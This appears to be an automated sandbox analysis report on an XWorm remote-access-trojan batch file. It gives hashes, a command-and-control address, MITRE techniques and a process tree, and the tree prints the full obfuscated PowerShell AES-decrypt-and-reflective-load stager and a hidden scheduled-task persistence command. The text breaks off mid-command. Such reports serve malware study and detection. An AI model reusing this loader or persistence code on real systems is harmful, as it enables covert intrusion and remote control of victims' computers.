xworm | 888b6ce9498a1425df0701fdc73c99c255684ec192db6290e16bb4c82da8656e

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
15/06/2024, 18:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

binded.bat
Size

1.1MB
MD5

4fcc4a79a40b5d4eda4116d6296dc607
SHA1

4f140172d00f5a40eb9c0f07b166cfc2111f0d71
SHA256

888b6ce9498a1425df0701fdc73c99c255684ec192db6290e16bb4c82da8656e
SHA512

2614afb3e2f7f5501246d79c7871710d0048ebacc69e517766709fdcb56e858c27deb4ed0fe1eab46f8175033446fb2f720fb43ff161552986d31dd4a8e0ccc1
SSDEEP

24576:vVq7sFq6XgPKd2wM6RcN9vz4vO21SCKesDu8a1KZ/4hvXQ:vxlR6QBsxb/4C

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

37.114.46.114:5555

Mutex

ybJkzY88U2SuCjEV

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2000-188-0x0000026248230000-0x000002624823E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 5 IoCs

flow	pid	Process
11	2000	powershell.exe
15	2000	powershell.exe
16	2000	powershell.exe
17	2000	powershell.exe
18	2000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2416	powershell.exe
3428	powershell.exe
3644	powershell.exe
4196	powershell.exe
4988	powershell.exe
3948	powershell.exe
2000	powershell.exe
3560	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\$rundll_650_str	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018800EF5861D0C"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3644	powershell.exe
3644	powershell.exe
4220	powershell.exe
4220	powershell.exe
4196	powershell.exe
4196	powershell.exe
4988	powershell.exe
4988	powershell.exe
3948	powershell.exe
3948	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
3560	powershell.exe
3560	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2416	powershell.exe
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe
Token: 33	3948	powershell.exe
Token: 34	3948	powershell.exe
Token: 35	3948	powershell.exe
Token: 36	3948	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe
Token: 33	3948	powershell.exe
Token: 34	3948	powershell.exe
Token: 35	3948	powershell.exe
Token: 36	3948	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3460	Explorer.EXE
3460	Explorer.EXE
3460	Explorer.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3460	Explorer.EXE
3460	Explorer.EXE
3460	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 2596	1344	cmd.exe	82
PID 1344 wrote to memory of 2596	1344	cmd.exe	82
PID 1344 wrote to memory of 3644	1344	cmd.exe	83
PID 1344 wrote to memory of 3644	1344	cmd.exe	83
PID 3644 wrote to memory of 4220	3644	powershell.exe	85
PID 3644 wrote to memory of 4220	3644	powershell.exe	85
PID 4220 wrote to memory of 5008	4220	powershell.exe	87
PID 4220 wrote to memory of 5008	4220	powershell.exe	87
PID 5008 wrote to memory of 3708	5008	cmd.exe	88
PID 5008 wrote to memory of 3708	5008	cmd.exe	88
PID 5008 wrote to memory of 4196	5008	cmd.exe	89
PID 5008 wrote to memory of 4196	5008	cmd.exe	89
PID 2296 wrote to memory of 2372	2296	cmd.exe	94
PID 2296 wrote to memory of 2372	2296	cmd.exe	94
PID 2296 wrote to memory of 4988	2296	cmd.exe	95
PID 2296 wrote to memory of 4988	2296	cmd.exe	95
PID 4988 wrote to memory of 3948	4988	powershell.exe	96
PID 4988 wrote to memory of 3948	4988	powershell.exe	96
PID 4988 wrote to memory of 1984	4988	powershell.exe	98
PID 4988 wrote to memory of 1984	4988	powershell.exe	98
PID 1984 wrote to memory of 4184	1984	WScript.exe	99
PID 1984 wrote to memory of 4184	1984	WScript.exe	99
PID 4184 wrote to memory of 3944	4184	cmd.exe	101
PID 4184 wrote to memory of 3944	4184	cmd.exe	101
PID 4184 wrote to memory of 2000	4184	cmd.exe	102
PID 4184 wrote to memory of 2000	4184	cmd.exe	102
PID 2000 wrote to memory of 3460	2000	powershell.exe	56
PID 2000 wrote to memory of 1964	2000	powershell.exe	34
PID 2000 wrote to memory of 1568	2000	powershell.exe	26
PID 2000 wrote to memory of 776	2000	powershell.exe	8
PID 2000 wrote to memory of 1760	2000	powershell.exe	30
PID 2000 wrote to memory of 1956	2000	powershell.exe	33
PID 2000 wrote to memory of 1364	2000	powershell.exe	24
PID 2000 wrote to memory of 3332	2000	powershell.exe	54
PID 2000 wrote to memory of 2728	2000	powershell.exe	47
PID 2000 wrote to memory of 948	2000	powershell.exe	12
PID 2000 wrote to memory of 1140	2000	powershell.exe	19
PID 2000 wrote to memory of 1724	2000	powershell.exe	29
PID 2000 wrote to memory of 1328	2000	powershell.exe	23
PID 2000 wrote to memory of 1128	2000	powershell.exe	18
PID 2000 wrote to memory of 1120	2000	powershell.exe	17
PID 2000 wrote to memory of 4072	2000	powershell.exe	72
PID 2000 wrote to memory of 2100	2000	powershell.exe	38
PID 2000 wrote to memory of 912	2000	powershell.exe	15
PID 2000 wrote to memory of 2680	2000	powershell.exe	45
PID 2000 wrote to memory of 2876	2000	powershell.exe	52
PID 2000 wrote to memory of 4052	2000	powershell.exe	92
PID 2000 wrote to memory of 2672	2000	powershell.exe	44
PID 2000 wrote to memory of 2868	2000	powershell.exe	51
PID 2000 wrote to memory of 896	2000	powershell.exe	11
PID 2000 wrote to memory of 4440	2000	powershell.exe	73
PID 2000 wrote to memory of 3848	2000	powershell.exe	66
PID 2000 wrote to memory of 2268	2000	powershell.exe	41
PID 2000 wrote to memory of 1280	2000	powershell.exe	21
PID 2000 wrote to memory of 2852	2000	powershell.exe	50
PID 2000 wrote to memory of 3604	2000	powershell.exe	57
PID 2000 wrote to memory of 1468	2000	powershell.exe	25
PID 2000 wrote to memory of 1064	2000	powershell.exe	16
PID 2000 wrote to memory of 1292	2000	powershell.exe	22
PID 2000 wrote to memory of 1836	2000	powershell.exe	32
PID 2000 wrote to memory of 2816	2000	powershell.exe	48
PID 2000 wrote to memory of 1040	2000	powershell.exe	36
PID 2000 wrote to memory of 1240	2000	powershell.exe	20
PID 2000 wrote to memory of 1628	2000	powershell.exe	28

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:776
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
  2⤵
  PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\svchost.bat" "
    3⤵
    PID:4428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Local\svchost.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:3928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:3560
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$rundll_650_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$svchost_650.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2416
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$svchost_650.vbs"
        5⤵
        Checks computer location settings
        
        PID:876
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$svchost_650.bat" "
        6⤵
        
        PID:3224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Roaming\$svchost_650.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        7⤵
        
        PID:4992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3332

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\binded.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ubDdfc++dGnZOierWx4nOy1eVZcVDN85yhJABtnz1EQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gCMQkn589+ljXLannfa+nQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RIlPD=New-Object System.IO.MemoryStream(,$param_var); $OGgVf=New-Object System.IO.MemoryStream; $eubOA=New-Object System.IO.Compression.GZipStream($RIlPD, [IO.Compression.CompressionMode]::Decompress); $eubOA.CopyTo($OGgVf); $eubOA.Dispose(); $RIlPD.Dispose(); $OGgVf.Dispose(); $OGgVf.ToArray();}function execute_function($param_var,$param2_var){ $QwKrI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WoDJg=$QwKrI.EntryPoint; $WoDJg.Invoke($null, $param2_var);}$JMcWp = 'C:\Users\Admin\AppData\Local\Temp\binded.bat';$host.UI.RawUI.WindowTitle = $JMcWp;$AmLgz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JMcWp).Split([Environment]::NewLine);foreach ($SNfpD in $AmLgz) { if ($SNfpD.StartsWith('pMkqFCQhZNmuDPfTbxXO')) { $BtghH=$SNfpD.Substring(20); break; }}$payloads_var=[string[]]$BtghH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\dllhost.bat
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4220
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\dllhost.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z2xC2h+C2t+xhefZVNgrwhVd+6cW81hKA09gr+Vgl4k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uJXvi7Nv9XV1R1jEsJpl9g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYNnG=New-Object System.IO.MemoryStream(,$param_var); $ddxMX=New-Object System.IO.MemoryStream; $tCHGY=New-Object System.IO.Compression.GZipStream($FYNnG, [IO.Compression.CompressionMode]::Decompress); $tCHGY.CopyTo($ddxMX); $tCHGY.Dispose(); $FYNnG.Dispose(); $ddxMX.Dispose(); $ddxMX.ToArray();}function execute_function($param_var,$param2_var){ $FpgFt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IsQVI=$FpgFt.EntryPoint; $IsQVI.Invoke($null, $param2_var);}$gzWXE = 